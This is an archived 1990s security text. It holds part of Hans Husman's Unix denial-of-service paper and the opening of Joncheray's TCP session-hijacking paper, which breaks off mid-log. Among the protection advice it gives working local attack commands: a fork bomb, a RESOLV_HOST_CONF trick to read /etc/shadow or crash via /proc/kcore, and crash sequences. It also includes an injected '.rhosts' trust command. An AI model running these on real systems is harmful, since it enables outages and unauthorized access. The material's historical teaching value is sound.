#include &lt;iostream.h&gt;

main()
{
int x;
while(x=0;x&lt;1000000;x++)
{
system("uptime");
fork();
}
}

You can use any command you want, but uptime is nice

To get a bigger and very ugly attack you should however replace uptime
(or fork them both) with sync. This is very bad.

If you are real mean you could also fork a child process for
every child process and we will get an exponential increase of

There is no good way to stop this attack and
similar attacks. A solution could be to place a limit
on time of execution and size of processes.

.D.6. CREATING FILES THAT IS HARD TO REMOVE
-------------------------------------------

Well all files can be removed, but here is some ideas:

Ex.I.

$cat &gt; -xxx ^C$ ls
-xxx
$rm -xxx rm: illegal option -- x rm: illegal option -- x rm: illegal option -- x usage: rm [-fiRr] file ...$

Ex.II.

$touch xxx!$ rm xxx!
rm: remove xxx! (yes/no)? y
$touch xxxxxxxxx!$ rm xxxxxxxxx!
$(You see the size do count!) Other well know methods is files with odd characters or spaces in the name. These methods could be used in combination with ".D.3 FILLING UP THE HARDDISK". If you do want to remove these files you must use some sort of script or a graphical interface like OpenWindow:s File Manager. You can also try to use: rm ./&lt;filename&gt;. It should work for the first example if you have a shell. .D.7. DIRECTORY NAME LOOKUPCACHE -------------------------------- Directory name lookupcache (DNLC) is used whenever a file is opened. DNLC associates the name of the file to a vnode. But DNLC can only operate on files with names that has less than N characters (for SunOS 4.x up to 14 character, for Solaris 2.x up 30 characters). This means that it's dead easy to launch a pretty discreet denial of service attack. Create lets say 20 directories (for a start) and put 10 empty files in every directory. Let every name have over 30 characters and execute a script that makes a lot of ls -al on the directories. If the impact is not big enough you should create more files or launch more processes. .D.8. CSH ATTACK ---------------- Just start this under /bin/csh (after proper modification) and the load level will get very high (that is 100% of the cpu time) in a very short time. Ex: |I /bin/csh nodename : **************b .D.9. CREATING FILES IN /tmp ---------------------------- Many programs creates files in /tmp, but are unable to deal with the problem if the file already exist. In some cases this could be used for a denial of service attack. .D.10. USING RESOLV_HOST_CONF ----------------------------- Some systems have a little security hole in the way they use the RESOLV_HOST_CONF variable. That is we can put things in it and through ping access confidential data like /etc/shadow or crash the system. Most systems will crash if /proc/kcore is read in the variable and access through ping. Ex:$ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

.D.11. SUN 4.X AND BACKGROUND JOBS
----------------------------------

Thanks to Mr David Honig &lt;honig@amada.net&gt; for the following:

" Put the string "a&" in a file called "a" and perform "chmod +x a".
Running "a" will quickly disable a Sun 4.x machine, even disallowing
(counter to specs) root login as the kernel process table fills."

" The cute thing is the size of the
script, and how few keystrokes it takes to bring down a Sun
as a regular user."

.D.12. CRASHING DG/UX WITH ULIMIT
---------------------------------

ulimit is used to set a limit on the system resources available to the
shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the
passwd file be set to zero.

.D.13. NETTUNE AND HP-UX
------------------------

/usr/contrib/bin/nettune is SETUID root on HP-UX meaning
that any user can reset all ICMP, IP and TCP kernel
parameters, for example the following parameters:

- arp_killcomplete
- arp_killincomplete
- arp_unicast
- ip_defaultttl
- ip_forwarding
- ip_intrqmax
- pmtu_defaulttime
- tcp_localsubnets
- tcp_send
- tcp_defaultttl
- tcp_keepstart
- tcp_keepfreq
- tcp_keepstop
- tcp_maxretrans
- tcp_urgent_data_ptr
- udp_cksum
- udp_defaultttl
- udp_newbcastenable
- udp_pmtu
- tcp_pmtu
- tcp_random_seq

The solution could be to set the proper permission on
/sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.14. SOLARIS 2.X AND NFS
--------------------------

If a process is writing over NFS and the user goes over the disk
quota will the process go into an infinite loop.

.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
--------------------------------------------------

By executing a sequence of mount_union commands any user
can cause a system reload on all FreeBSD version 2.X before
1996-05-18.

$mkdir a$ mkdir b
$mount_union ~/a ~/b$ mount_union -b ~/a ~/b

The solution could be to set the proper permission on
/sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X
----------------------------------------------------

Executing the trap_mon instruction from user mode can cause
a kernel panic or a window underflow watchdog reset under
SunOS 4.1.x, sun4c architecture.

.E. DUMPING CORE
~~~~~~~~~~~~~~~~

.E.1. SHORT COMMENT
-------------------

The core dumps things don't really belongs in this paper but I have
put them here anyway.

.E.2. MALICIOUS USE OF NETSCAPE
-------------------------------

Under Netscape 1.1N this link will result in a segmentation fault and a
core dump.

Ex:

&lt;a name="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...&gt;

.E.3. CORE DUMPED UNDER WUFTPD
------------------------------

A core dumped could be created under wuftp with two different
methods:

(1) Then pasv is given (user not logged in (ftp -n)). Almost all
versions of BSD:s ftpd.
(2) More than 100 arguments is given with any executable
command. Presents in all versions of BSD:sd ftpd.

.E.4. ld UNDER SOLARIS/X86
--------------------------

Under Solaris 2.4/X86 ld dumps core if given with the -s option.

.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.F.1. BASIC SECURITY PROTECTION
-------------------------------

.F.1.1. INTRODUCTION
--------------------

You can not make your system totally secured against denial of service
attacks but for attacks from the outside you can do a lot. I put this
work list together and hope that it can be of some use.

.F.1.2. SECURITY PATCHES
------------------------

Always install the proper security patches. As for patch numbers
I don't want to put them out, but that doesn't matter because you
anyway want to check that you have all security patches installed,
so get a list and check! Also note that patches change over time and
that a solution suggested in security bulletins (i.e. CERT) often
is somewhat temporary.

.F.1.3. PORT SCANNING
---------------------

Check which services you have. Don't check with the manual
or some configuration file, instead scan the ports with sprobe
or some other port scanner. Actual you should do this regualy to see
that anyone don't have installed a service that you don't want on
the system (could for example be service used for a pirate site).

Disable every service that you don't need, could for example be rexd,
fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen,
tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime
and chargen is possible to get to loop. There is however no need
and discard it, so if you turn off it you will get more sensitive to
denial of service and not the opposite.

Actual can services be found on many systems that can be used for
denial of service and brute force hacking without any logging. For
example Stock rexec never logs anything. Most popd:s also don't log
anything

.F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
---------------------------------------------------------

Check that attacks described in this paper and look at the
solution. Some attacks you should perform yourself to see if they
apply to your system, for example:

- Freezing up X-Windows.
- Malicious use of telnet.
- How to disable services.
- SunOS kernel panic.
- Attacking with lynx clients.
- Crashing systems with ping from Windows 95 machines.

That is stress test your system with several services and look at
the effect.

Note that Solaris 2.4 and later have a limit on the number of ICMP
error messages (1 per 500 ms I think) that can cause problems then
you test your system for some of the holes described in this paper.
But you can easy solve this problem by executing this line:

/usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0 .F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER -------------------------------------------------------- Check the inside attacks, although it is always possibly to crash the system from the inside you don't want it to be to easy. Also have several of the attacks applications besides denial of service, for example: - Crashing the X-Server: If stickybit is not set in /tmp a number of attacks to gain access can be performed. - Using resolv_host_conf: Could be used to expose confidential data like /etc/shadow. - Core dumped under wuftpd: Could be used to extract password-strings. If I don't have put out a solution I might have recommended son other paper. If not I don't know of a paper with a solution I feel that I can recommend. You should in these causes check with your company. .F.1.6. EXTRA SECURITY SYSTEMS ------------------------------ Also think about if you should install some extra security systems. The basic that you always should install is a logdaemon and a wrapper. A firewall could also be very good, but expensive. Free tools that can be found on the Internet is for example: TYPE: NAME: URL: LOGDAEMON NETLOG ftp://net.tamu.edu/pub/security/TAMU WRAPPER TCP WRAPPERS ftp://cert.org/pub/tools/tcp_wrappers FIREWALL TIS ftp://ftp.tis.com/pub/firewalls/toolkit Note that you should be very careful if building your own firewall with TIS or you might open up new and very bad security holes, but it is a very good security packer if you have some basic knowledge. It is also very good to replace services that you need, for example telnet, rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be found at URL: ftp://ftp.cs.hut.fi/pub/ssh The addresses I have put out are the central sites for distributing and I don't think that you should use any other except for CERT. For a long list on free general security tools I recommend: "FAQ: Computer Security Frequently Asked Questions". .F.1.7. MONITORING SECURITY --------------------------- Also monitor security regular, for example through examining system log files, history files... Even in a system without any extra security systems could several tools be found for monitoring, for example: - uptime - showmount - ps - netstat - finger (see the man text for more information). .F.1.8. KEEPING UP TO DATE -------------------------- It is very important to keep up to date with security problems. Also understand that then, for example CERT, warns for something it has often been dark-side public for sometime, so don't wait. The following resources that helps you keeping up to date can for example be found on the Internet: - CERT mailing list. Send an e-mail to cert@cert.org to be placed on the list. - Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net. - WWW-security mailing list. Send an e-mail to www-security@ns2.rutgers.edu. .F.1.9. READ SOMETHING BIGGER AND BETTER ---------------------------------------- Let's start with papers on the Internet. I am sorry to say that it is not very many good free papers that can be found, but here is a small collection and I am sorry if have have over looked a paper. (1) The Rainbow books is a long series of free books on computer security. US citizens can get the books from: INFOSEC AWARENESS OFFICE National Computer Security Center 9800 Savage Road Fort George G. Meader, MD 20755-600 We other just have to read the papers on the World Wide Web. Every paper can not however be found on the Internet. (2) "Improving the security of your Unix system" by Curry is also very nice if you need the very basic things. If you don't now anything about computer security you can't find a better start. (3) "The WWW security FAQ" by Stein is although it deal with W3-security the very best better on the Internet about computer security. (4) CERT have aklso published several good papers, for example: - Anonymous FTP Abuses. - Email Bombing and Spamming. - Spoofed/Forged Email. - Protecting yourself from password file attacks. I think however that the last paper have overlooked several things. (5) For a long list on papers I can recommend: "FAQ: Computer Security Frequently Asked Questions". (6) Also see section ".G. SUGGESTED READING" You should also get some big good commercial book, but I don't want to recommend any. .F.2. MONITORING PERFORMANCE ---------------------------- .F.2.1. INTRODUCTION -------------------- There is several commands and services that can be used for monitoring performance. And at least two good free programs can be found on Internet. .F.2.2. COMMANDS AND SERVICES ----------------------------- For more information read the man text. netstat Show network status. nfsstat Show NFS statistics. sar System activity reporter. vmstat Report virtual memory statistics. timex Time a command, report process data and system activity. time Time a simple command. truss Trace system calls and signals. uptime Show how long the system has been up. Note that if a public netstat server can be found you might be able to use netstat from the outside. netstat can also give information like tcp sequence numbers and much more. .F.2.3. PROGRAMS ---------------- Proctool: Proctool is a freely available tool for Solaris that monitors and controls processes. ftp://opcom.sun.ca/pub/binaries/ Top: Top might be a more simple program than Proctool, but is good enough. .F.2.4. ACCOUNTING ------------------ To monitor performance you have to collect information over a long period of time. All Unix systems have some sort of accounting logs to identify how much CPU time, memory each program uses. You should check your manual to see how to set this up. You could also invent your own account system by using crontab and a script with the commands you want to run. Let crontab run the script every day and compare the information once a week. You could for example let the script run the following commands: - netstat - iostat -D - vmstat .G. SUGGESTED READING ~~~~~~~~~~~~~~~~~~~~~ .F.1. INFORMATION FOR DEEPER KNOWLEDGE ------------------------------------- (1) Hedrick, C. Routing Information Protocol. RFC 1058, 1988. (2) Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984. (3) Postel, J. Internet Control Message Protocol. RFC 792, 1981. (4) Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977. (5) Sollins, K.R. The TFTP Protocol, RFC 783, 1981. (6) Croft, W.J. Bootstrap Protocol, RFC 951, 1985. Many of the papers in this category was RFC-papers. A RFC-paper is a paper that describes a protocol. The letters RCS stands for Request For Comment. Hosts on the Internet are expected to understand at least the common ones. If you want to learn more about a protocol it is always good to read the proper RFC. You can find a nice sRFC index search form at URL: http://pubweb.nexor.co.uk/public/rfc/index/rfc.html .F.2. KEEPING UP TO DATE INFORMATION ------------------------------------ (1) CERT mailing list. Send an e-mail to cert@cert.org to be placed on the list. (2) Bugtraq mailinglist. Send an e-mail to bugtraq-request@fc.net. (3) WWW-security mailinglist. Send an e-mail to www-security@ns2.rutgers.edu. (4) Sun Microsystems Security Bulletins. (5) Various articles from: - comp.security.announce - comp.security.unix - comp.security.firewalls (6) Varius 40Hex Issues. .F.3. BASIC INFORMATION ----------------------- (1) Husman, H. INTRODUKTION TILL DATASÄKERHET UNDER X-WINDOWS, 1995. (2) Husman, H. INTRODUKTION TILL IP-SPOOFING, 1995. (3) The following rainbow books: - Teal Green Book (Glossary of Computer Security Terms). - Bright Orange Book( A Guide to Understanding Security Testing and Test Documentation in Trusted Systems). - C1 Technical Report-001 (Computer Viruses: Preventation, Detection, and Treatment). (4) Ranum, Marcus. Firewalls, 1993. (5) Sun Microsystems, OpenWindows V3.0.1. User Commands, 1992. (6) Husman, H. ATT SPÅRA ODOKUMENTERADE SÄKERHETSLUCKOR, 1996. (7) Dark OverLord, Unix Cracking Tips, 1989. (8) Shooting Shark, Unix Nasties, 1988. (9) LaDue, Mark.D. Hostile Applets on the Horizone, 1996. (10) Curry, D.A. Improving the security of your unix system, 1990. (11) Stein, L.D. The World Wide Web security FAQ, 1995. (12) Bellovin, S.M. Security Problems in the TCP/IP Protocol, 1989. .H. COPYRIHT ------------ This paper is Copyright (c) 1996 by Hans Husman. Permission is hereby granted to give away free copies electronically. You may distribute, transfer, or spread this paper electronically. You may not pretend that you wrote it. This copyright notice must be maintained in any copy made. If you wish to reprint the whole or any part of this paper in any other medium excluding electronic medium, please ask the author for permission. .I. DISCLAIMER -------------- The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. ___________________________________________________________________________ ___________________________________________________________________________ Attacking TCP Oldschool style: Simple Active Attack Against TCP Laurent Joncheray Merit Network, Inc. 4251 Plymouth Road, Suite C Ann Arbor, MI 48105, USA Phone: +1 (313) 936 2065 Fax: +1 (313) 747 3185 E-mail: lpj@merit.edu Abstract This paper describes an active attack against the Transport Control Protocol (TCP) which allows a cracker to redirect the TCP stream through his machine thereby permitting him to bypass the protection offered by such a system as a one-time password [skey] or ticketing authentication [kerberos]. The TCP connection is vulnerable to anyone with a TCP packet sniffer and generator located on the path followed by the connection. Some schemes to detect this attack are presented as well as some methods of prevention and some interesting details of the TCP protocol behaviors. 1. Introduction Passive attacks using sniffers are becoming more and more frequent on the Internet. The attacker obtains a user id and password that allows him to logon as that user. In order to prevent such attacks people have been using identification schemes such as one-time password [skey] or ticketing identification [kerberos]. Though they prevent password sniffing on an unsecure network these methods are still vulnerable to an active attack as long as they neither encrypt nor sign the data stream. [Kerberos also provides an encrypted TCP stream option.] Still many people are complacent believing that active attacks are very difficult and hence a lesser risk. The following paper describes an extremely simple active attack which has been successfully used to break into Unix hosts and which can be done with the same resources as for a passive sniffing attack. [The attacks have been performed with a test software and the users were aware of the attack. Although we do not have any knowledge of such an attack being used on the Internet, it may be possible.] Some uncommon behaviors of the TCP protocol are also presented as well as some real examples and statistical studies of the attack's impact on the network. Finally some detection and prevention schemes are explained. In order to help any reader unfamiliar with the subtleties of the TCP protocol the article starts with a short description of TCP. The reader can also refers to another attack by R. Morris presented in [morris85]. Though the following attack is related to Morris' one, it is more widely usable on any TCP connection. In section 7 we present and compare this attack with the present one. The presentation of the attack will be divided into three parts: the Established State'' which is the state where the session is open and data is exchanged; the set up (or opening) of such a session; and finally some real examples. 2. Established State 2.1 The TCP protocol This section offers a short description of the TCP protocol. For more details the reader can refer to [rfc793]. TCP provides a full duplex reliable stream connection between two end points. A connection is uniquely defined by the quadruple (IP address of sender, TCP port number of the sender, IP address of the receiver, TCP port number of the receiver). Every byte that is sent by a host is marked with a sequence number (32 bits integer) and is acknowledged by the receiver using this sequence number. The sequence number for the first byte sent is computed during the connection opening. It changes for any new connection based on rules designed to avoid reuse of the same sequence number for two different sessions of a TCP connection. We shall assume in this document that one point of the connection acts as a server (for instance a telnet server) and the other as the client. The following terms will be used: SVR_SEQ: sequence number of the next byte to be sent by the server; SVR_ACK: next byte to be received by the server (the sequence number of the last byte received plus one); SVR_WIND: server's receive window; CLT_SEQ: sequence number of the next byte to be sent by the client; CLT_ACK: next byte to be received by the client; CLT_WIND: client's receive window; At the beginning when no data has been exchanged we have SVR_SEQ = CLT_ACK and CLT_SEQ = SVR_ACK. These equations are also true when the connection is in a 'quiet' state (no data being sent on each side). They are not true during transitory states when data is sent. The more general equations are: CLT_ACK &lt;= SVR_SEQ &lt;= CLT_ACK + CLT_WIND SVR_ACK &lt;= CLT_SEQ &lt;= SVR_ACK + SVR_WIND The TCP packet header fields are: Source Port: The source port number; Destination Port: The destination port number; Sequence number: The sequence number of the first byte in this packet; Acknowledgment Number: The expected sequence number of the next byte to be received; Data Offset: Offset of the data in the packet; Control Bits: URG: Urgent Pointer; ACK: Acknowledgment; PSH: Push Function; RST: Reset the connection; SYN: Synchronize sequence numbers; FIN: No more data from sender; Window: Window size of the sender; Checksum: TCP checksum of the header and data; Urgent Pointer: TCP urgent pointer; Options: TCP options; - SEG_SEQ will refer to the packet sequence number (as seen in the header). - SEG_ACK will refer to the packet acknowledgment number. - SEG_FLAG will refer to the control bits. On a typical packet sent by the client (no retransmission) SEG_SEQ is set to CLT_SEQ, SEG_ACK to CLT_ACK. TCP uses a three-way handshake'' to establish a new connection. If we suppose that the client initiates the connection to the server and that no data is exchanged, the normal packet exchange is (C.f. Figure 1): - The connection on the client side is on the CLOSED state. The one on the server side is on the LISTEN state. - The client first sends its initial sequence number and sets the SYN bit: SEG_SEQ = CLT_SEQ_0, SEG_FLAG = SYN Its state is now SYN-SENT - On receipt of this packet the server acknowledges the client sequence number, sends its own initial sequence number and sets the SYN bit: SEG_SEQ = SVR_SEQ_0, SEQ_ACK = CLT_SEQ_0+1, SEG_FLAG = SYN and set SVR_ACK=CLT_SEQ_0+1 Its state is now SYN-RECEIVED - On receipt of this packet the client acknowledges the server sequence number: SEG_SEQ = CLT_SEQ_0+1, SEQ_ACK = SVR_SEQ_0+1 and sets CLT_ACK=SVR_SEQ_0+1 Its state is now ESTABLISHED - On receipt of this packet the server enters the ESTABLISHED state. We now have: CLT_SEQ = CLT_SEQ_0+1 CLT_ACK = SVR_SEQ_0+1 SVR_SEQ = SVR_SEQ_0+1 SVR_ACK = CLT_SEQ_0+1 Server Client LISTEN CLOSED &lt;- SYN, CLT_SEQ_0 LISTEN SYN-SENT SYN, -&gt; SVR_SEQ_0, CLT_SEQ_0+1 SYN-RECEIVED ESTABLISHED SVR_SEQ = CLT_SEQ_0 + 1 CLT_ACK = SVR_SEQ_0 + 1 &lt;- ACK, CLT_SEQ_0 + 1 SVR_SEQ_0+1 ESTABLISHED SVR_SEQ = SVR_SEQ_0 + 1 SVR_ACK = CLT_SEQ_0 + 1 figure 1: Example of a connection opening Closing a connection can be done by using the FIN or the RST flag. If the RST flag of a packet is set the receiving host enters the CLOSED state and frees any resource associated with this instance of the connection. The packet is not acknowledged. Any new incoming packet for that connection will be dropped. If the FIN flag of a packet is set the receiving host enters the CLOSE-WAIT state and starts the process of gracefully closing the connection. The detail of that procces is beyond the scope of this document. The reader can refer to [rfc793] for further details. In the preceding example we specifically avoided any unusual cases such as out-of-band packets, retransmission, loss of packet, concurrent opening, etc... These can be ignored in this simple study of the attack. When in ESTABLISHED state, a packet is acceptable if its sequence number falls within the expected segment [SVR_ACK, SVR_ACK + SVR_WIND] (for the server) or [CLT_ACK, CLT_ACK + CLT_WIND] (for the client). If the sequence number is beyond those limits the packet is dropped and a acknowledged packet will be sent using the expected sequence number. For example if SEG_SEQ = 200, SVR_ACK = 100, SVR_WIND = 50 Then SEG_SEQ &gt; SVR_ACK + SVR_WIND. The server forms a ACK packet with SEG_SEQ = SVR_SEQ SEG_ACK = SVR_ACK which is what the server expects to see in the packet. 2.2 A desynchronized state The term desynchronized state'' will refer to the connection when both sides are in the ESTABLISHED state, no data is being sent (stable state), and SVR_SEQ != CLT_ACK CLT_SEQ != SVR_ACK This state is stable as long as no data is sent. If some data is sent two cases can occur: - If CLT_SEQ &lt; SVR_ACK + SVR_WIND and CLT_SEQ &gt; SVR_ACK the packet is acceptable, the data may be stored for later use (depending on the implementation) but not sent to the user since the beginning of the stream (sequence number SVR_ACK) is missing. - If CLT_SEQ &gt; SVR_ACK + SVR_WIND or CLT_SEQ &lt; SVR_ACK the packet is not acceptable and will be dropped. The data is lost. In both case data exchange is not possible even if the state exists. 2.3 The attack The proposed attack consists of creating a desynchronized state on both ends of the TCP connection so that the two points cannot exchange data any longer. A third party host is then used to create acceptable packets for both ends which mimics the real packets. Assume that the TCP session is in a desynchronized state and that the client sends a packet with SEG_SEQ = CLT_SEQ SEG_ACK = CLT_ACK Since CLT_SEQ != SVR_ACK the data will not be accepted and the packet is dropped. The third party then sends the same packet but changes the SEG_SEQ and SEG_ACK (and the checksum) such that SEG_SEQ = SVR_ACK, SEG_ACK = SVR_SEQ which is acceptable by the server. The data is processed by the server. If CLT_TO_SVR_OFFSET refers to SVR_ACK - CLT_SEQ and SVR_TO_CLT_OFFSET refers to CLT_ACK - SVR_SEQ then the first party attacker has to rewrite the TCP packet from the client to the server as: SEG_SEQ &lt;- SEG_SEQ + CLT_TO_SVR_OFFSET SEG_ACK &lt;- SEG_ACK - SVR_TO_CLT_OFFSET Considering that the attacker can listen to any packet exchanged between the two points and can forge any kind of IP packet (therefore masquerading as either the client or the server) then everything acts as if the connection goes through the attacker machine. This one can add or remove any data to the stream. For instance if the connection is a remote login using telnet the attacker can include any command on behalf of the user ("echo merit.edu lpj &gt; ~/.rhosts" is an example of such a command) and filter out any unwanted echo so that the user will not be aware of the intruder. Of course in this case CLT_TO_SVR_OFFSET and SVR_TO_CLT_OFFSET have to change. The new values are let as an exercise for the reader. [One can turn off the echo in the telnet connection in order to avoid the burden of filtering the output. The test we did showed up a bug in the current telnet implementation (or maybe in the telnet protocol itself). If a TCP packet contains both IAC DONT ECHO and IAC DO ECHO the telnet processor will answer with IAC WONT ECHO and IAC WILL ECHO. The other end point will acknowledge IAC DONT ECHO and IAC DO ECHO etc... creating an endless loop.] 2.4 TCP Ack storm'' A flaw of the attack is the generation of a lot of TCP ACK packets. When receiving an unacceptable packet the host acknowledges it by sending the expected sequence number (As the Acknolegement number. C.f. introduction about TCP) and using its own sequence number. This packet is itself unacceptable and will generate an acknowledgement packet which in turn will generate an acknowledgement packet etc... creating a supposedly endless loop for every data packet sent. Since these packets do not carry data they are not retransmitted if the packet is lost. This means that if one of the packets in the loop is dropped then the loop ends. Fortunately (or unfortunately?) TCP uses IP on an unreliable network layer with a non null packet loss rate, making an end to the loops. Moreover the more packets the network drops, the shorter is the Ack storm (the loop). We also notice that these loops are self regulating: the more loops we create the more traffic we get, the more congestion and packet drops we experience and the more loops are killed. The loop is created each time the client or the server sends data. If no data is sent no loop appears. If data is sent and no attacker is there to acknowledge the data then the data will be retransmitted, a storm will be created for each retransmission, and eventually the connection will be dropped since no ACK of the data is sent. If the attacker acknowledges the data then only one storm is produced (in practice the attacker often missed the data packet due to the load on the network, and acknowledge the first of subsequent retransmission). The attack uses the second type of packet described in Section 2.2. The first case in which the data is stored by the receiver for later processing has not been tested. It has the advantage of not generating the ACK storm but on the other hand it may be dangerous if the data is actually processed. It is also difficult to use with small window connections. 3. Setup of the session This paper presents two methods for desynchronizing a TCP connection. Others can be imagined but will not be described here. We suppose that the attacker can listen to every packet sent between the two end points. 3.1 Early desynchronization This method consists of breaking the connection in its early setup stage on the server side and creating a new one with different sequence number. Here is the process (Figure 2 summarizes this process) - The attacker listens for a SYN/ACK packet from the server to the client (stage 2 in the connection set up). - On detection of that packet the attacker sends the server a RST packet and then a SYN packet with exactly the same parameters (TCP port) but a different sequence number (referred to as ATK_ACK_0 in the rest of the paper). - The server will close the first connection when it receives the RST packet and then reopens a new one on the same port but with a different sequence number (SVR_SEQ_0') on receipt of the SYN packet. It sends back a SYN/ACK packet to the client. - On detection of that packet the attacker sends the server a ACK packet. The server switches to the ESTABLISHED state. - The client has already switched to the ESTABLISHED state when it receives the first SYN/ACK packet from the server. Server Client LISTEN CLOSED &lt;- SYN, CLT_SEQ_0 SYN-RECEIVED SYN-SENT SYN, -&gt; SVR_SEQ_0, CLT_SEQ_0+1 ESTABLISHED SVR_SEQ = CLT_SEQ_0 + 1 CLT_ACK = SVR_SEQ_0 + 1 &lt;= RST, CLT_SEQ_0 + 1 CLOSED &lt;= SYN, ATK_SEQ_0 SYN, -&gt; SVR_SEQ_0', ATK_SEQ_0 + 1 SYN-RECEIVED &lt;= SYN, ATK_SEQ_0 + 1, SVR_SEQ_0' + 1 ESTABLISHED SVR_SEQ = SVR_SEQ_0' + 1 SVR_ACK = ATK_SEQ_0 + 1 Figure 2: A attack scheme. The attacker's packets are marked with &lt;= This diagram does not show the unacceptable acknowledgement packet exchanges. Both ends are in the desynchronized ESTABLISHED state now. SVR_TO_CLT_OFFSET = SVR_SEQ_0 - SVR_SEQ_0' is fixed by the server. CLT_TO_SVR_OFFSET = ATK_SEQ_0 - CLT_SEQ_0 is fixed by the attacker. The success of the attack relies on the correct value being chosen for CLT_TO_SVR_OFFSET. Wrong value may make the client's packet acceptable and can produce unwanted effects. 3.2 Null data desynchronization This method consists for the attacker in sending a large amount of data to the server and to the client. The data sent shouldn't affect nor be visible to the client or sever, but will put both end of the TCP session in the desynchronized state. The following scheme can be used with a telnet session: - The attacker watchs the session without interfering. - When appropriate the attacker sends a large amount of null data'' to the server. Null data'' refers to data that will not affect anything on the server side besides changing the TCP acknowledgment number. [For instance with a telnet session the attacker sends ATK_SVR_OFFSET bytes consisting of the sequence IAC NOP IAC NOP... Every two bytes IAC NOP will be interpreted by the telnet daemon, removed from the stream of data and nothing will be affected. [The telnet protocol [telnet] defines the NOP command as No Operation''. In other words, do nothing, just ignore those bytes.] Now the Server has SVR_ACK = CLT_SEQ + ATK_SVR_OFFSET which of course is desynchronized. - The attacker does the same thing with the client. The method is useful if the session can carry null data''. The time when the attacker sends that data is also very difficult to determine and may cause some unpredictable side effects. 4. Examples The following logs are provided by running a hacked version of tcpdump [tcpdump] on the local ethernet where the client resides. Comments are preceded by ##'. The first example is a normal telnet session opening between 35.42.1.56 (the client) and 198.108.3.13 (the server). ## The client sends a SYN packet, 1496960000 is its initial sequence nu mber. 11:07:14.934093 35.42.1.56.1374 &gt; 198.108.3.13.23: S 1496960000:1496960000(0) w in 4096 ## The server answers with its initial sequence number and the SYN flag . 11:07:14.936345 198.108.3.13.23 &gt; 35.42.1.56.1374: S 1402880000:1402880000(0) a ck 1496960001 win 4096 ## The client acknowledges the SYN packet. 11:07:14.937068 35.42.1.56.1374 &gt; 198.108.3.13.23: . 1496960001:1496960001(0) a ck 1402880001 win 4096 ## Now the two end points are in the ESTABLISHED state. ## The client sends 6 bytes of data. 11:07:15.021817 35.42.1.56.1374 &gt; 198.108.3.13.23: P 1496960001:1496960007(6) ack 1402880001 win 4096 255 253 /C 255 251 /X [... ## The rest of the log is the graceful closing of the connection 11:07:18.111596 198.108.3.13.23 &gt; 35.42.1.56.1374: F 1402880059:1402880059(0) a ck 1496960025 win 4096 11:07:18.112304 35.42.1.56.1374 &gt; 198.108.3.13.23: . 1496960025:1496960025(0) a ck 1402880060 win 4096 11:07:18.130610 35.42.1.56.1374 &gt; 198.108.3.13.23: F 1496960025:1496960025(0) a ck 1402880060 win 4096 11:07:18.132935 198.108.3.13.23 &gt; 35.42.1.56.1374: . 1402880060:1402880060(0) a ck 1496960026 win 4095 The next example is the same session with an intrusion by the attacker. The desynchronized state is created in the early stage of the session (subsection 3.1). The attacker will add the command 'ls;' to the stream of data. The user uses skey to identify himself to the server. From the user's point of view the session looks like this: &lt;lpj@homefries: 1&gt; telnet 198.108.3.13 Trying 198.108.3.13 ... Connected to 198.108.3.13. Escape character is '^'. SunOS UNIX (_host) login: lpj s/key 70 cn33287 (s/key required) Password: Last login: Wed Nov 30 11:28:21 from homefries.merit.edu SunOS Release 4.1.3_U1 (GENERIC) #2: Thu Jan 20 15:58:03 PST 1994 (lpj@_host: 1) pwd Mail/ mbox src/ elm* resize* traceroute* /usr/users/lpj (lpj@_host: 2) history 1 13:18 ls ; pwd 2 13:18 history (lpj@_host: 3) logoutConnection closed by foreign host. &lt;lpj@homefries: 2&gt; The user types only one command 'pwd' and then asks for the history of the session. The history shows that a ls' has also being issued. The ls command produces an output which has not been filtered. The following log shows the TCP packet exchanges between the client and the server. Unfortunately some packets are missing from this log because they have been dropped by the sniffer's ethernet interface driver. One must see that log like a snapshot of a few instants of the exchange more than the full transaction log. The attacker's window size has been set to uncommon values (400, 500, 1000) in order to make its packets more easily traceable. The attacker is on 35.42.1, three hops away from the server, on the path from the client to the server. The names and addresses of the hosts have been changed for security reasons. ## The client sends a SYN packet, 896896000 is its initial sequence num ber. 11:25:38.946119 35.42.1.146.1098 &gt; 198.108.3.13.23: S 896896000:896896000(0) wi n 4096 ## The server answers with its initial sequence number (1544576000) and the SYN flag. 11:25:38.948408 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544576000:1544576000(0) ack 896896001 win 4096 ## The client acknowledges the SYN packet. It is in the ESTABLISHED sta te now. 11:25:38.948705 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896001:896896001(0) ac k 1544576001 win 4096 ## The client sends some data 11:25:38.962069 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896001:896896007(6) ack 1544576001 win 4096 255 253 /C 255 251 /X ## The attacker 